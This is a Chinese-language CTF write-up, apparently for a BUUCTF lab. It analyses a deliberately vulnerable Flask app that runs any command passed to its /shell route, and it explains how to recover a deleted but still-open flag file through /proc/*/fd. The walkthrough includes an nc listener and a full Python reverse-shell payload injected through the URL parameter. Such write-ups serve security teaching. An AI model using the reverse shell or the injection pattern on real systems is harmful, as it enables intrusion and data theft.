from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
flag_file = open("flag.txt", "r")
在这里我们可以看到flag.txt已经被打开
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
在shell目录里可以知道,会把flag.txt删除。
然后接收参数c,并可以进行命令执行。
最后一行可以看出其实无论如何都只返回1,那么就无法直接读东西。
文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,pid就是进程记录的打开文件的序号。
由以上可以得知,由于先打开了flag.txt但没有关掉就直接删除,依旧可以查询内容。
这个时候我们可以通过命令执行反弹shell。
先开个buu小号,在另一个浏览器里创建一个buu内网靶场(buu内网是不通外网的,所以自己的vps等无用,必须在buu内网创建),然后用xshell等连接。
看一下靶机的ip,监听一个任意端口
nc -lvp 3000
然后利用以下payload反弹shell(自己添加一下靶机的ip,监听的端口等)
payload:shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
接收到shell后
cat /porc/*/fd/*
查询一下所有进程内容